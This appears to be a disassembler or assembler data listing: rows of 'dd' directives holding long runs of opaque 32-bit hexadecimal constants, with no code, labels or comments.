		dd 0F887EB27h, 0FAF33C90h, 49336900h, 2A1AE8F0h, 0F4965B02h
		dd 40A35AD8h, 22DE68h, 1EFE9952h, 50E53E28h, 688A6D02h
		dd 85A69CC9h, 3C8078A3h, 0F70B26h, 2AC8979Dh, 647B8AB2h
		dd 2EFD6702h, 0F551EA53h, 0C54C2E40h, 9BEFF700h, 854E20DEh
		dd 0C49952ACh, 0C6CA303h, 0BACAAF30h, 5F608680h, 8D4E188Fh
		dd 24E80441h, 30EC22B9h, 0F5AB16C4h, 580704B2h,	0DDA880AEh
		dd 88000ED0h, 0B46A9442h, 0AF9AA9h, 0FE861FC2h,	0C85207CEh
		dd 408B48h, 0FF5C16C4h,	9E6553h, 32EFE7C0h, 0BCE7A95h
		dd 809DED3Dh, 68F0D81Ch, 759CBA8h, 0F2FB8E5Bh, 71D92044h
		dd 0A6A030B7h, 4224EEA7h, 38BCBEh, 89F88E8h, 2C0B76h, 81D4831Ch
		dd 0A161596Bh, 630F39F2h, 60927AD7h, 7CF64B0Ah,	0EE4900DAh
		dd 0FA293EFFh, 4177BD23h, 0A0095890h, 5FD6A3E5h, 43A5F580h
		dd 30160E2Fh, 440AC18h,	7F8DE966h, 88B0480Bh, 0D29007Dh
		dd 0CF03DFF9h, 7200CA32h, 9D5EC146h, 48570BCBh,	5201589Eh
		dd 0FF747924h, 0F7D1C8BDh, 7AECF20Bh, 0B1F8801Ah, 165EDBD8h
		dd 52163Dh, 7C1B33D8h, 0E800B4CCh, 0D1A0BE64h, 708955h
		dd 0C756071Ah, 45585746h, 1223F11Fh, 0F56B22C0h, 1D65E205h
		dd 8B6F08h, 39172E15h, 497432F4h, 802D4D27h, 710C940h
		dd 646A0043h, 31669EE1h, 0F42C0905h, 5380A895h,	0E0FD3224h
		dd 64380CD4h, 0E41839E6h, 0DA563503h, 807BC018h, 3E29F4Ch
		dd 0E94629C6h, 0BAC8B7EBh, 300D4D5h, 2436B472h,	251C06B6h
		dd 49749440h, 884FBB00h, 66E9D4h, 18DBFE6Ch, 40917220h
		dd 0C8004576h, 1E61C160h, 1ADA8Ah, 95A2AD2Eh, 282B3DC3h
		dd 5EB5FC00h, 5BDF6533h, 0BA1B014Fh, 0DB1E8972h, 0B912F807h
		dd 213B3F0Ch, 0C1F19Ah,	476B4C88h, 8931DA1Dh, 8713D63Bh
		dd 45D3FBE6h, 8E7861F0h, 0AA3E0199h, 0F2239196h, 174D608Dh
		dd 9D61A00h, 0A5496145h, 65AB3C46h, 6FB91000h, 32B035ECh
		dd 0C288A900h, 0AA2DE3F0h, 45DC00FBh, 3AE0CB97h, 0BF0F7A8Dh
		dd 0C7CA7490h, 0D10B254h, 0B065679Ah, 3557576h,	19D0F76Ch
		dd 23E8080Fh, 6B00EDF8h, 0E40DD561h, 1A3FA8h, 432E5C94h
		dd 2C52C5Dh, 2A004975h,	21AA9252h, 7B146Ch, 9DA70BC4h
		dd 70DFF54Eh, 0AF34AC00h, 0D254C7A6h, 76C403A3h, 0A88A65AAh
		dd 0B0E1079Fh, 8E55DE36h, 48F36D03h, 90AB9F3Bh,	1993B5h
		dd 0B29C2110h, 3A4C80F8h, 0BB077213h, 0BE76E020h, 6B3B04BFh
		dd 0C06D2671h, 0D5E2CB24h, 96A58D00h, 15DBF569h, 0C979B7h
		dd 0E979F21Fh, 0EFC18A0Ah, 997DB8F0h, 0E3133F7Fh, 0E8605687h
		dd 9A3C8B01h, 0A6A321E0h, 0FD873E00h, 0F2C165h,	25B6981h
		dd 0E7729F1Bh, 8D64FB63h, 7BBE84Dh, 0DDD107F7h,	0FAB6ADh
		dd 0DE6B9D60h, 5AECCF1Eh, 0A7B5FB40h, 708AAC61h, 75C201C6h
		dd 0DC405533h, 3BF7CCEDh, 3E9028FFh, 681F0347h,	0A4620381h
		dd 66BF2C81h, 0C09D4C2Dh, 9763E534h, 72056467h,	3195273Bh
		dd 204F000h, 385365EDh,	8900CC42h, 0F858B3D2h, 99015AA6h
		dd 0AC16EE77h, 66EC350Ah, 50CF008Ah, 0E21B2F07h, 0C87B7E79h
		dd 0BD00DC73h, 0FED50BA6h, 0D70CE6h, 0C31BA524h, 60D16813h
		dd 8A7C8F3Ch
		dd 0AD6722C1h, 440A6117h, 8616FC7Dh, 0FE340400h, 30D24B26h
		dd 5C9AA269h, 8901F30Fh, 158F7FB1h, 5028252Ch, 0B67AE80h
		dd 0DC00C5B7h, 0D282E09Ch, 3F4F506Bh, 0FC50D385h, 0B22E00BFh
		dd 87C97388h, 0B9006F06h, 82F1690Bh, 3D0235F3h,	4A80310Ah
		dd 0D40349C5h, 0EE00FF33h, 5484E7CEh, 2AA219h, 0CD6C306Ah
		dd 0A60F1A5Eh, 3D83400Eh, 0D756011Fh, 63F0903Ch, 4CC5E296h
		dd 55508B31h, 33D61621h, 8C4C0BADh, 194E3844h, 0D9E58800h
		dd 792D88h, 0C83ED5FCh,	99E23B26h, 0A405B77Bh, 5DF80608h
		dd 48A1A280h, 7D8A09E5h, 5CAB8E50h, 8364A003h, 917705B0h
		dd 0F4F38002h, 409503F2h, 0F18238h, 0A4443370h,	0EEACDA2Dh
		dd 0C76BD100h, 0BA08FB97h, 0D3350064h, 0AF413C5Fh, 3B174613h
		dd 50C0F925h, 0FCD8E851h, 2C215AF8h, 150054CCh,	0D30B0D4Eh
		dd 0EC13FE1Ah, 0CAE40024h, 812F83DDh, 411FB40Eh, 0D0808BC1h
		dd 0F30B1C30h, 494DFA67h, 0F9155853h, 7D1E8816h, 50640073h
		dd 6F678663h, 0F8E08400h, 281A3A17h, 90EE0268h,	22B7449Ch
		dd 0F1837460h, 8173E239h, 74F8AB0h, 0E96055D0h,	5438018Fh
		dd 5AA73AE8h, 0EBD874DAh, 36CDD800h, 5258B487h,	0FBDE0066h
		dd 0EF32C6AAh, 7AC07D9Fh, 179D45E1h, 4A67879h, 46112201h
		dd 0C558C0B9h, 3220F2E3h, 90A2007Dh, 4B1AC87Ah,	0F6013BB2h
		dd 607CE5C5h, 0D6C8BA53h, 82EC001Bh, 5A93E8C8h,	400B4910h
		dd 92F02C2h, 0E44469h, 0A814B387h, 60440337h, 9DFA9304h
		dd 58C8A46Fh, 0CBB50113h, 7BF85D8Bh, 0C390C0E8h, 2728E01h
		dd 2F99EC64h, 9A40D4D7h, 0C8BF8981h, 0C028B6EEh, 0C600C882h
		dd 0B45BB539h, 5AD246C4h, 2100175Ch, 746244h, 2E863F35h
		dd 80C47AD4h, 97DE2C8Fh, 4A4CC64Ch, 40300A6h, 0E791EBA6h
		dd 83C70EF6h, 4B20FB64h, 43467807h, 0E6ED0812h,	409EC205h
		dd 92135080h, 80FC9EC6h, 0DA7315DCh, 0E9090AB2h, 4FCE36Dh
		dd 58C03A76h, 1D3F722h,	0AEE1177Eh, 61E9D7EFh, 68DDE4E4h
		dd 70925502h, 0C2ABAD64h, 2F0502Fh, 7F05A119h, 0E0809B47h
		dd 53AD11CEh, 0A6C1181Dh, 0AEBC0D00h, 980A2D93h, 8D6304A0h
		dd 0EB5CCFCEh, 0E9AD8380h, 62401DDCh, 6DC5005Fh, 8B5BBCAAh
		dd 0B25C29F4h, 6CC8127Eh, 0A44C5C00h, 4BD1169h,	0ECE0D8C9h
		dd 5C40C0DAh, 7D003C65h, 0CBA4E10Bh, 0EA8D487Bh, 0B2BB861h
		dd 4FDC54F8h, 0A00B1005h, 0E0007838h, 19C332ADh, 3E8D94h
		dd 62752CF0h, 0A74FBFF8h, 213298A0h, 504108C1h,	0B02C368Ah
		dd 0EAD9FC00h, 3E86EE42h, 0D204E600h, 0A097530Eh, 0AB350015h
		dd 74021EFAh, 915994C4h, 905C48h, 19660AD2h, 0E0F61E0h
		dd 73D37581h, 495A8923h, 42B9D087h, 81B8C9ADh, 2006AB25h
		dd 0B637CEC4h, 0C0B45D2Ah, 2E43F74h, 0C0C012DFh, 0CC1BAE50h
		dd 8081893Dh, 26A63EDDh, 3BF8891h, 7B55B8A8h, 7FC0480Dh
		dd 74012A8Ah, 34621C66h, 61DE43E6h, 8FC85D68h, 0B83E24CBh
		dd 79D105F8h, 9CB4C018h, 0A1FCA456h, 68885C00h,	716A6496h
		dd 0C93201CBh, 58C71667h, 0DA4C303Bh, 94EABBFAh, 1170EB4Ch
		dd 624F6AAh, 0D2F0017Ch, 0FC21FDA2h, 0AF031BD3h, 3DC86F60h
		dd 3C5DABD9h, 9ABC9170h, 8A7EB780h, 0F643D84Ch,	3A3A6498h
		dd 13B640EBh, 48B2197h,	0C0666126h, 0AF834B3Fh,	0B42A0326h
		dd 7A870B01h, 9450D11Eh, 7209F8D5h, 493F0002h, 5F804EC0h
		dd 0CB011D86h, 96403EDCh, 0FED436CEh, 0A841002Ch, 538AF747h
		dd 2A24A611h, 940007D9h, 0FB0F202Bh, 77C7F51h, 6FCE8884h
		dd 0BFDE006Eh, 3500612Ah, 75F3B1F8h, 0EB726Ch, 5D9BAF5Bh
		dd 336D4B97h, 0DB2AAA0Fh, 597CA007h, 0B22D053h,	0C54E352h
		dd 7184DC89h, 0F80C0B2h, 0AB245396h, 221BE841h,	0CCA2B078h
		dd 8E660F2Eh, 0E02B993Fh, 6B9CE090h, 69480104h,	1DABDC14h
		dd 0B08AC190h, 70F729B5h, 4F023FE0h, 2A933408h,	138068BEh
		dd 0D8145C7Bh, 38BA0092h, 60FCEEFh, 0FDF95E09h,	0DBB807E7h
		dd 0B1FE7060h, 38340B87h, 0B5DD361h, 0B34C4DDh,	5F1D8A2Dh
		dd 66E9DC61h, 64AA0038h, 60E550EBh, 0C9ED1EC6h,	956641F5h
		dd 2E20937Eh, 3784B400h, 0FDCF9Eh, 1E526FE9h, 94D91BCBh
		dd 259BAC03h, 0E76EDF62h, 0F46CCE80h, 0F3E200D0h, 0C13DAE30h
		dd 1600BB58h, 0A97A9107h, 7D6CC23h, 0F3ED0513h,	0CB19308Dh
		dd 0F1031FB2h, 47E84277h, 877FF07Ch, 3D3E1FCEh,	236A80D7h
		dd 140EA308h, 2559D600h, 0BFDA70D4h, 73E64C05h,	0A3349C00h
		dd 426694C7h, 0B53B6E78h, 1E84000Dh, 9BDEF5A4h,	88650020h
		dd 596B6129h, 56049F42h, 8C14A5AFh, 12880BFh, 9A00F66Dh
		dd 0CA05E4B1h, 0FF40B5h, 4864AF23h, 62110BBAh, 56C64700h
		dd 89333CCCh, 0C3F00014h, 0E8EDA268h, 9E051A65h, 43EE1B41h
		dd 3EAFC000h, 2ECD7AA1h, 245B0CEh, 0DE6CFE24h, 0C1CCC3E0h
		dd 190BC50h, 0B76D4C00h, 0CE6D94Eh, 0A441003Ah,	878C256Ah
		dd 0F6009A62h, 12C639E7h, 17A2B89Dh, 8408D5h, 8B20878Ah
		dd 0E20092E0h, 380B60DBh, 0ACFFCFh, 0B913BB68h,	67500140h
		dd 866D4800h, 0B532CA8Bh, 0AA7B003Fh, 321E990h,	0F4072FDDh
		dd 0BB84CD48h, 4A9F4C70h, 0EC120072h, 613449FCh, 0D7014DEDh
		dd 68A38AC2h, 66E09F14h, 725100B2h, 509232F5h, 6D00BCDCh
		dd 9C7F12A3h, 725E49D0h, 71D0066h, 81461531h, 1200035Bh
		dd 2EB1E7B9h, 7151BBh, 6801826Fh, 6EA2F431h, 3770D4F4h
		dd 0CF90A600h, 0F9B5D9BFh, 0EDD10FD5h, 7E409D48h, 1EDCFA5Ch
		dd 0CD9EEC00h, 43F73652h, 0A3E3006Bh, 0FB838F86h, 0F500317Eh
		dd 1359C3E5h, 605F27CCh, 0F9F0214Bh, 2C60DD1Dh,	8CDD111h
		dd 0B1BB03A2h, 0C5463056h, 0FF45AAA8h, 0BC6E1200h, 0EA4874DDh
		dd 2FE50108h, 1CAFABA6h, 64A04369h, 0C84E99A1h,	4600F2E2h
		dd 0A078BA8h, 39AAECFh,	45B9D9F4h, 0D1D87EAFh, 0C002FF0h
		dd 0EE97E02Eh, 0A36864h, 1DADF660h, 0F0227810h,	0D00A0470h
		dd 98027DD5h, 8CD31F00h, 9C4B98h, 0A4B53CB7h, 49CF0E25h
		dd 39A35200h, 7E27833Eh, 9EDE1C43h, 0C98500D6h,	0AE1CF0F9h
		dd 336BB00h, 0B230DFA7h, 5E9F0011h, 0DE72FB8Fh,	45007114h
		dd 79EBC3F4h, 8DEC85h, 0C55A1903h, 8A245273h, 74EE6B00h
		dd 0E7D4DB9Eh, 0A27E0CFEh, 7B383456h, 0BCCC5E00h, 676AD0Dh
		dd 185260CAh, 39045654h, 1116140Eh, 3E0240A7h, 0EBB5F1h
		dd 0F48320FBh, 0D40B33BFh, 0B8509101h, 4C881301h, 7A74F6D4h
		dd 0A0120067h, 9CA4812Eh, 0D80073E1h, 0F478C15Ch, 0FFEF505h
		dd 5251D31Eh, 0C0E06784h, 0B158EB28h, 497D3F03h, 0CA2FA982h
		dd 0F78440B8h, 76D1002Ch, 0A6167752h, 4A0069DFh, 0E3338E10h
		dd 0C44059h, 9ADA2B92h,	0A702709Eh, 55664Ch, 0E30CA30Fh
		dd 308367h, 3EF70A74h, 0C199AEDFh, 5A3D9C00h, 8A29D23h
		dd 0B6380056h, 9A42076Eh, 0F70087BDh, 5F5D3A69h, 3CB67E2h
		dd 4EDD86A9h, 0F2B02DC9h, 3F009EFEh, 1B42138Ch,	0C39189h
		dd 1CBCB130h, 0EBFE6B7Eh, 0A1B2D402h, 60DD75B6h, 788BE580h
		dd 3FE80011h, 0CB776279h, 1C169689h, 9004542h, 0F46E07C1h
		dd 0EB250773h, 0D067700Fh, 0A0832356h, 663A2100h, 58135AD0h
		dd 8B0F009Ah, 72A54ABAh, 0EB004F32h, 0F5BDD8A8h, 1B676E6h
		dd 682455E4h, 301EECE8h, 662C1D74h, 0FB0424A0h,	0B180A42Fh
		dd 276B2Dh, 4F28ACDAh, 0E8AF95E7h, 9D18E000h, 5D0C5869h
		dd 0B2A600C1h, 3CDB6B7Dh
		dd 7000D091h, 85A701F2h, 770B5299h, 0BB121EEEh,	37E00E1h
		dd 0F9431BDBh, 0F938B63Eh, 0EDE84403h, 0FE7BA5D9h, 0A0F10038h
		dd 0D16EEE28h, 49008472h, 0F366979Eh, 28B22F73h, 0C08060B4h
		dd 0D01A4BB8h, 2807D3A6h, 0BD40045Eh, 608BAE52h, 758F52h
		dd 0B3DC9C6Fh, 2532F9F3h, 61499D00h, 0AE361854h, 3CA100DBh
		dd 7B15D375h, 0CD721BB0h, 7300747Eh, 645C8A10h,	2AF9E1h
		dd 6738FAF6h, 330C9C26h, 6E7E741Fh, 8E15C940h, 19D0178h
		dd 94A18665h, 0FEBA60A5h, 6914F880h, 470081F7h,	67F31ABFh
		dd 3AFAAAh, 71B20F70h, 0B0C393F6h, 0E79C7600h, 0AE154547h
		dd 83E600C1h, 7CC931FFh, 2200AFF0h, 9B304C08h, 826665h
		dd 6E0AE99Fh, 0C1B3B4CEh, 2FC72D00h, 30DA9C20h,	0EA3A0001h
		dd 55188D03h, 9000C666h, 8996B523h, 607A24E3h, 0F24C202Dh
		dd 71005364h, 7475350Fh, 4C769D32h, 0EE0F1460h,	0E520A2E7h
		dd 0F01C2959h, 8AB80374h, 0A1D1C700h, 74EA83B9h, 0FA95005Ch
		dd 0FD4B6732h, 500349Ah, 730F1869h, 0FCB8CDh, 3F77F3DDh
		dd 46EDD5A7h, 0F6E53400h, 0A15B39D1h, 0B8F007C4h, 313D4A4Bh
		dd 20550BEDh, 85009CACh, 2378323Eh, 14E87392h, 0F8D1A4C4h
		dd 2C004958h, 63971413h, 5E00960Bh, 0EA8A2BB7h,	26F2A7h
		dd 40CC05CBh, 547BA41Ah, 7003C575h, 0F9652C32h,	5ADD0C8h
		dd 0D29D6249h, 0A4825FC2h, 8DE36A71h, 46C513A8h, 30D3A000h
		dd 0FB7A70FFh, 60AE38EAh, 354ACD80h, 0A59923E6h, 7595A900h
		dd 0AA08106h, 3C5E001Dh, 517982A7h, 0C50012D6h,	0E419C9CAh
		dd 1B13BBBh, 0F2755BD4h, 0D75FAB50h, 6ECB5B0h, 0A0605E0Bh
		dd 0B3BD00DBh, 0B23A6Ch, 691E19E0h, 69B35FAh, 331F1600h
		dd 4178762Eh, 0BAD705C9h, 45E7F2h, 5A87662Ch, 4700A93Fh
		dd 0C6891F44h, 0CF1B4Ah, 29046DBh, 0E2F4B345h, 5BA21509h
		dd 0C4520034h, 18AC7F3Fh, 192883D3h, 0CF006629h, 0D7F74EA0h
		dd 5F200Bh, 2B7F932Fh, 70624554h, 643E5100h, 0CC24A10Eh
		dd 0DF2001CDh, 0A4111B26h, 0EA91602Dh, 91BDED02h, 0C098A9C6h
		dd 770812Ah, 0CA59773Dh, 0E34FD004h, 80021D8h, 0CB1C95A4h
		dd 7AA65B66h, 1DD50974h, 7880D7B8h, 0F8B5FFFh, 0E64DF804h
		dd 84D3637Fh, 0FC6C88E5h, 24150013h, 30147BF7h,	20C65877h
		dd 0E01063FEh, 655D1866h, 81C120F8h, 780068F8h,	0EE70670Ch
		dd 74F36EA1h, 388E006Ch, 31EA1635h, 0E9337D40h,	0C0D3188Bh
		dd 60ACC6CBh, 0F9627877h, 84A341ABh, 145BFCC0h,	60C0247Ah
		dd 0F080FE37h, 0C610A0A7h, 0F71CA0A0h, 0D6A10054h, 0CD1C0C11h
		dd 66053D3Eh, 18114ACh,	0DCDD59C0h, 0ADFD09E7h,	30000A51h
		dd 0AA736C52h, 0EC87E400h, 664AC4EDh, 3B65020Eh, 5DB016D2h
		dd 0F082B6C1h, 0CE2467B3h, 0A00B94Dh, 3EEC2275h, 35980B7Ah
		dd 6804F58h, 0AF4847BAh, 24666200h, 930CAEABh, 1C141D75h
		dd 7B6B81C1h, 0FCCC7099h, 800DC89h, 69859D4h, 0BF63Fh
		dd 0A07C8BA6h, 108D6617h, 0F74813Eh, 0C03202EEh, 4115EC61h
		dd 313501CBh, 24BEBDA1h, 0CA007BD3h, 226BF18Ch,	517A8Fh
		dd 0E1B82037h, 5D6A3866h, 682E0600h, 74CBE930h,	0EB79D0h
		dd 365BEA54h, 85420E23h, 2817D300h, 0E01B6562h,	0CE1009Dh
		dd 594BECF8h, 45777679h, 0E9B6C800h, 656F6286h,	71180E9Dh
		dd 29421767h, 0CCA040B0h, 3DB3EFA5h, 153BFE03h,	3023C66Ch
		dd 6215208h, 0C700B3D0h, 0BD877A34h, 34F4A2F2h,	4768A1F7h
		dd 414970E8h, 8041E8D1h, 0A6048711h, 0C69EF1Eh,	1E67443h
		dd 21C07508h, 6DA60D24h, 0D51E03EBh, 44131B8Bh,	0D108A800h
		dd 0CEB4E6D6h, 0E43E163Ah, 8F0BAFFCh, 0EEC0F61h, 1089CC9Ch
		dd 12670C6Ah, 1089729Fh, 0D4812304h, 64803431h,	0E8A22CF9h
		dd 2D21C05Ch, 9CDD803Bh, 0C3740D00h, 0EDF83398h, 7BD2346Fh
		dd 4A305F1h, 7030197Fh,	8100CB20h, 0E7B398A8h, 60C362h
		dd 725C0DCFh, 23370878h, 9CBFFD03h, 98E67DEBh, 191CCEh
		dd 0F1BE71ACh, 5679A775h, 6098D700h, 0F27321FFh, 11D1651Ch
		dd 560468D0h, 11843C30h, 859EE7h, 0B4C21C5Eh, 5A0BE624h
		dd 0FA490F00h, 0AA5C9CCDh, 396B79E3h, 900797A0h, 0E728F868h
		dd 3934F070h, 830556E2h, 0C961D86Ah, 0EE558C00h, 6D2C7h
		dd 79E58C8Ah, 0BA7084A8h, 3BE3CC00h, 20B03F6Ah,	59540085h
		dd 1913C5C4h, 8C3BCD82h, 797600CEh, 9102610Ah, 0C2B90033h
		dd 9D4A734Fh, 6F070D11h, 2F8CF2DEh, 0AE8EC7C0h,	0AEF96740h
		dd 4A399003h, 912DD908h, 5E7C44h, 43D2EB36h, 0DA005C41h
		dd 8313EEC3h, 965AB3h, 40A58F3Eh, 0F169F84Eh, 56A48D1Bh
		dd 0ECE80EA9h, 1F4FED33h, 40CD7025h, 539C2CA0h,	0FD00D815h
		dd 921DCFC8h, 0C0BB59B8h, 7816F38h, 1700207Eh, 6547A71Fh
		dd 6052811h, 0B0E00136h, 7C755031h, 85E6B600h, 2058F2ACh
		dd 0D4D25419h, 630D00CAh, 6803BAE4h, 0D83F2E07h, 226780DFh
		dd 623134B5h, 9586022Ah, 1A308AB6h, 2CF80240h, 3D3F3B0Fh
		dd 0C92962B0h, 8E9E4096h, 0AF9E00F1h, 520E6576h, 9C006795h
		dd 8586A3DBh, 0C09F4Eh,	45FFB099h, 1741E78Ah, 7C7DBE00h
		dd 0EC20084Bh, 0A33400B7h, 3F6D79A4h, 0CB00886Eh, 0DEF82CE3h
		dd 0A649Dh, 320C6AE1h, 619EE59Ah, 2C8DAA0Eh, 7E578794h
		dd 37DC6401h, 63AC8680h, 9F72BBE2h, 685C1500h, 28937073h
		dd 0D5B50033h, 538A7C56h, 78008B25h, 0FCEE1365h, 0DE1C81h
		dd 0D30AF3BBh, 6368D7E9h, 8F01E709h, 0CCC904D8h, 0B5B27090h
		dd 0FB5E1F25h, 0CBBC8094h, 0F6A9E79h, 2A91400h,	6344D407h
		dd 7E6607ABh, 0E0DA387Dh, 0B783F84Bh, 0BE24E6F2h, 24006582h
		dd 169CEF44h, 7A2F07E5h, 0C3B5E89Ah, 9015061Dh,	14D8B8BDh
		dd 940D86h, 0E483EDBFh,	0CBE8E3h, 0F3CEF7C7h, 0ACF4BA04h
		dd 0C058431Fh, 8ECFD300h, 1DEA3380h, 0E9B54E1Bh, 3DB709F8h
		dd 0D11F4027h, 11F648E9h, 3B10FEF1h, 0E009F9Bh,	0C65F5707h
		dd 0ED477Fh, 1D19FB56h,	3263996h, 0B8E3D850h, 0A5A2D401h
		dd 0BD5E07FFh, 0FE41EC8h, 0F4490E45h, 0D13BAF20h, 330F79E3h
		dd 21FBB0BBh, 0FCFA9B01h, 9241E02Ah, 49C5D01Fh,	161EEF01h
		dd 7B60A02Bh, 0A8320019h, 9A4B93D6h, 53749D77h,	0C41C2700h
		dd 0F355FAFCh, 848003Bh, 691182A5h, 0F4E43725h,	61203306h
		dd 128C35Fh, 0D5AF609Eh, 3071CBA8h, 0C0007444h,	1986832Dh
		dd 0FA2C73A4h, 0EFC628FBh, 0DC7907B9h, 1533710Ch, 50DE878Ch
		dd 40BB9CEEh, 11826930h, 49F4A7h, 6280D660h, 68D0AC7Ch
		dd 51F6D503h, 0F08510A8h, 0FF54BDh, 0BFE761B0h,	9ED516A4h
		dd 1DD62A0Eh, 3784DC29h, 2C806977h, 7559833h, 26AF38FDh
		dd 36D4702Ch, 0B63FE45Ch, 0BF8500DEh, 2EBA7CECh, 1F2C00F7h
		dd 0B0B3AF3Dh, 0D24C5D22h, 23BF03DAh, 804E4FC8h, 350CE5h
		dd 6CFB3239h, 0BD697174h, 0CCD8C126h, 4F9B7087h, 0D2A738E0h
		dd 64C3006Bh, 0C04984DAh, 4D0008CAh, 0EF3272C7h, 0A5E96Ch
		dd 2E297477h, 0A35A64C1h, 6A886500h, 25AC37BFh,	0D8170F5Fh
		dd 0C09D1090h, 0B973FD9Eh, 40C0184Bh, 0C1E62F69h, 68F249C7h
		dd 71266F00h, 6C963E58h, 0E32B5F00h, 0E5AC190h,	0D3D430ADh
		dd 0C7D16F0h, 3B1C6DF4h, 0D140F332h, 3602DC0Bh,	0DD741EE4h
		dd 2E2DC022h, 89560959h, 94971405h, 0BB0155C9h,	0A05F0DDh
		dd 0FD159DCh, 0CA352B9Ah, 0A49B07C0h, 0CD00C262h, 237BC08h
		dd 85B049h, 2281196Ch
		dd 5A862518h, 89FE8700h, 2CC2D01Ch, 0E6F700F1h,	0A081BD6Fh
		dd 6B00559Ah, 9E6266EAh, 2FBFCFh, 4B946AD4h, 4637CAE4h
		dd 0FADC6900h, 0C96D9E4Fh, 0F774004Ah, 9BD8E167h, 0E70C9950h
		dd 0EE934743h, 618D09CBh, 9381A5E8h, 0CCECEDDFh, 0BC005818h
		dd 5E1DC9BAh, 36F2D1h, 88C38EF1h, 851A1431h, 0CBE37600h
		dd 8AC41624h, 0C8532A72h, 89F304B4h, 0C375CD9Bh, 52B086A4h
		dd 5C000E0Ch, 62B26B7Eh, 0FE878C1Fh, 0FE4601DFh, 923386F6h
		dd 695E80A7h, 134B24C0h, 6CF92482h, 0F7E04F40h,	9E43FA0Bh
		dd 24D23Ch, 3EDDDA8Eh, 82E371h,	617A11B9h, 0A89DFE7Eh
		dd 1F247F00h, 0D436B374h, 50C6F8DAh, 5BAADh, 4BA5619Fh
		dd 247C5D8Eh, 7DCCA43Fh, 3EE2791Dh, 614BC9B1h, 1DBC2090h
		dd 0D21DC476h, 0A01F7202h, 785C68E2h, 0FB84016Ah, 0F5FC2CD4h
		dd 21E0D0ECh, 1120826Ch, 0A77002D5h, 854A6A29h,	0FF505840h
		dd 0DD28197Fh, 490F385Ch, 7904BBh, 0E08064A4h, 1CE21F0Fh
		dd 9406802Dh, 0DE91F0CDh, 0F42E3Ah, 68808B76h, 78A4D450h
		dd 1F6B14D7h, 7E174CA5h, 1988200Bh, 951D03AAh, 9C057A05h
		dd 10244507h, 7C1C23h, 0E756CC50h, 0B450AF8h, 12742E00h
		dd 7C304903h, 5A7300EAh, 0F363884h, 9D03CED3h, 0F6704BD1h
		dd 0D2DBA02Eh, 7751004Ah, 0E70E58F0h, 0A000A721h, 0F474CEC3h
		dd 113B885h, 0BA0831B3h, 74D8459Eh, 0B0014862h,	0F14ECE3h
		dd 0A3C3823Ah, 5C76C032h, 0EABA3B86h, 0DAD33880h, 0F3EE9459h
		dd 98DF1600h, 2392FCBCh, 4CB87346h, 0AA03C521h,	152E8124h
		dd 0FCA34499h, 0CB03519Eh, 5891420Fh, 0FC67B0ECh, 72F8C1E0h
		dd 35553CA7h, 2A84048Ch, 0DA678504h, 0D3AAC40h,	0EA11DDh
		dd 0BC4AAE87h, 5DA4BA03h, 0EB0A9207h, 0DA204693h, 94D168B1h
		dd 0C75A8060h, 0AFB86AEh, 2C12431Dh, 17ADB440h,	27F7039h
		dd 0A07CC761h, 21E1D794h, 0F8803063h, 8F04AC9Ah, 52037B06h
		dd 0BF10B987h, 0AAF30h,	10BE8428h, 0D209DD67h, 71387513h
		dd 0C901331Fh, 12177314h, 0FFBCF8h, 1D18217Bh, 5FFEBE5Ch
		dd 78EB291Eh, 0CEAA69C0h, 3412EBDh, 79ECFF0Ch, 0E9E08F06h
		dd 3002215h, 0E80FD291h, 0A86457h, 216C5502h, 0CF92C388h
		dd 1E465E00h, 208B83D3h, 82F10773h, 30DA9F2Ch, 11BC41ADh
		dd 651F861Eh, 6C3D24Eh,	11148D5h, 5EA716FFh, 0E891B095h
		dd 212C7056h, 0A50064D9h, 0B9247948h, 7B120144h, 186B7246h
		dd 674EF4D2h, 0A06FA601h, 0E2B27420h, 3C4F3870h, 562E9D3Ch
		dd 682F00FFh, 9530FB10h, 3D945A00h, 927AD9BDh, 0BC61078Eh
		dd 2F07DA05h, 673ABF62h, 1100B489h, 4FEF8720h, 0C4241076h
		dd 2D8A0096h, 6B02CCD5h, 85E5570Dh, 7FC0A2B0h, 3B41F67h
		dd 29FBC51Ah, 89D093C4h, 0F22E4456h, 0E08C4FDh,	3597D2h
		dd 9F2B17A4h, 553C5A49h, 7AEA0154h, 68C12175h, 0A80BA029h
		dd 0B48010FBh, 3D0E47B0h, 0CB7E7007h, 8540F18Ch, 1FF6B3FAh
		dd 40887544h, 38EE1BADh, 9A3CB4E8h, 4CBE80E7h, 485D456Eh
		dd 0EDA700DFh, 6D2ED578h, 0C631F853h, 79933870h, 0E80B67C0h
		dd 0E1EA3BF0h, 80F9ED1Dh, 451CE508h, 1100B00Fh,	9ABB194Dh
		dd 1E70A5D4h, 8E5243B4h, 1E4FA359h, 0CE5D64A6h,	0CA9D3Bh
		dd 0B2A8C670h, 3B1FB8Bh, 1D67BF5h, 30897451h, 0C196E4E1h
		dd 150F50F2h, 0BB4C0FFCh, 0AA6DA078h, 87663A9Dh, 4EA6E880h
		dd 3E9C01Bh, 0E2001572h, 5148A96Fh, 1DB98A04h, 40AC5466h
		dd 0FF942F8Dh, 1A1DC6A0h, 0A10055D2h, 0E92ADC34h, 0EA5E18C5h
		dd 0CD67F029h, 2C98CA00h, 6ACC0677h, 0D2F4FEh, 7625BF81h
		dd 0EB0BB842h, 230052EEh, 8FCBD606h, 917C7Bh, 0F0055EE8h
		dd 625155F3h, 10035D00h, 52239746h, 4E430ED0h, 7B0020C6h
		dd 1F77E7AFh, 0A8EF6A00h, 5B9528Dh, 0D55D00F9h,	0CAC8BA4Fh
		dd 19305FD8h, 69CD39CBh, 0B8C4003Fh, 0E3B564FBh, 34001F14h
		dd 75C25342h, 3E411005h, 2403FF99h, 87407B7Ch, 558462D0h
		dd 44F79701h, 0C9CE3846h, 83F8CD31h, 4BC30064h,	0FE945C53h
		dd 480726A7h, 1C7217E0h, 906027E7h, 0E7A2DDh, 0C174E365h
		dd 0EA4B31B9h, 755F2402h, 803998AEh, 0E867199Ch, 0D1F403C0h
		dd 65411635h, 73517800h, 0D5B754F8h, 273F3BD0h,	40C93C00h
		dd 27FFF36h, 0BAF8E800h, 0FC68E104h, 0D7A00180h, 0DAE983F9h
		dd 2D14FC25h, 6DBFE305h, 7680B1DCh, 1463CEDh, 5E820D54h
		dd 30A1720Bh, 1A07832Dh, 7FA7B6CDh, 83D22F0h, 101E0E8h
		dd 0DB4CA8Ch, 0F8314911h, 4101E3D3h, 7C6F9975h,	0FFECB5E5h
		dd 3F4400FDh, 0D9155F5h, 473DE8D1h, 9F077812h, 1C99AB65h
		dd 0CAEED551h, 4A1E30h,	39558A5h, 0AA431597h, 3C46D31Eh
		dd 2425934Ch, 7E020074h, 48DBC871h, 2A00FC58h, 9D66828Fh
